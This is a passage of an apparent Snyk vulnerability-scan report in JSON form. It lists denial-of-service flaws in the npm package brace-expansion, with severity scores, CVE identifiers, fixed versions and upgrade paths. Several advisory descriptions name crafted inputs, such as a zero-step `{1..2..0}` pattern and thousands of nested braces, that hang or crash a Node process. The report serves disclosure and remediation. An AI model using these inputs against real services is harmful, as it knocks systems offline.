"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
